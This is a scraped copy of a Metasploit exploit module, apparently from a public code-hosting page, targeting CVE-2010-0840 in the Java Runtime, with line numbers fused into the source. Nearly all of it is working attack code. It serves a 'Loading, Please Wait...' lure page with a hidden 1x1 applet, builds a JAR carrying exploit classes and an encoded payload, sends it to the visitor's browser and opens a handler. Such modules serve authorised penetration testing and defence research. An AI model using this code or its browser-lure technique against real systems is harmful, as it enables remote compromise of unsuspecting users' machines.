Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/browser/java_trusted_chain.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpServer::HTML910# Superceded by java_atomicreferencearray11#include Msf::Exploit::Remote::BrowserAutopwn12#autopwn_info({ :javascript => false })1314def initialize( info = {} )1516super( update_info( info,17'Name' => 'Java Statement.invoke() Trusted Method Chain Privilege Escalation',18'Description' => %q{19This module exploits a vulnerability in Java Runtime Environment20that allows an untrusted method to run in a privileged context. The21vulnerability affects version 6 prior to update 19 and version 522prior to update 23.23},24'License' => MSF_LICENSE,25'Author' => [26'Sami Koivu', # Discovery27'Matthias Kaiser', # PoC28'egypt' # metasploit module29],30'References' =>31[32[ 'CVE', '2010-0840' ],33[ 'OSVDB', '63483' ],34[ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2010/04/java-trusted-method-chaining-cve-2010.html' ],35],36'Platform' => %w{ java linux win },37'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },38'Targets' =>39[40[ 'Generic (Java Payload)',41{42'Arch' => ARCH_JAVA,43}44],45[ 'Windows Universal',46{47'Arch' => ARCH_X86,48'Platform' => 'win'49}50],51[ 'Linux x86',52{53'Arch' => ARCH_X86,54'Platform' => 'linux'55}56]57],58'DefaultTarget' => 0,59'DisclosureDate' => '2010-03-31'60))61end626364def on_request_uri( cli, request )65if not request.uri.match(/\.jar$/i)66if not request.uri.match(/\/$/)67send_redirect(cli, get_resource() + '/', '')68return69end7071print_status("#{self.name} handling request")7273send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )74return75end7677paths = [78[ "vuln", "Exploit.class" ],79[ "vuln", "Exploit$1.class" ],80[ "vuln", "Link.class" ],81]8283p = regenerate_payload(cli)8485jar = p.encoded_jar86paths.each do |path|871.upto(path.length - 1) do |idx|88full = path[0,idx].join("/") + "/"89if !(jar.entries.map{|e|e.name}.include?(full))90jar.add_file(full, '')91end92end93fd = File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2010-0840", path ), "rb")94data = fd.read(fd.stat.size)95jar.add_file(path.join("/"), data)96fd.close97end9899print_status( "Sending Applet.jar" )100send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )101102handler( cli )103end104105def generate_html106html = "<html><head><title>Loading, Please Wait...</title></head>"107html += "<body><center><p>Loading, Please Wait...</p></center>"108html += "<applet archive=\"Exploit.jar\" code=\"vuln.Exploit.class\" width=\"1\" height=\"1\">"109html += "</applet></body></html>"110return html111end112end113114115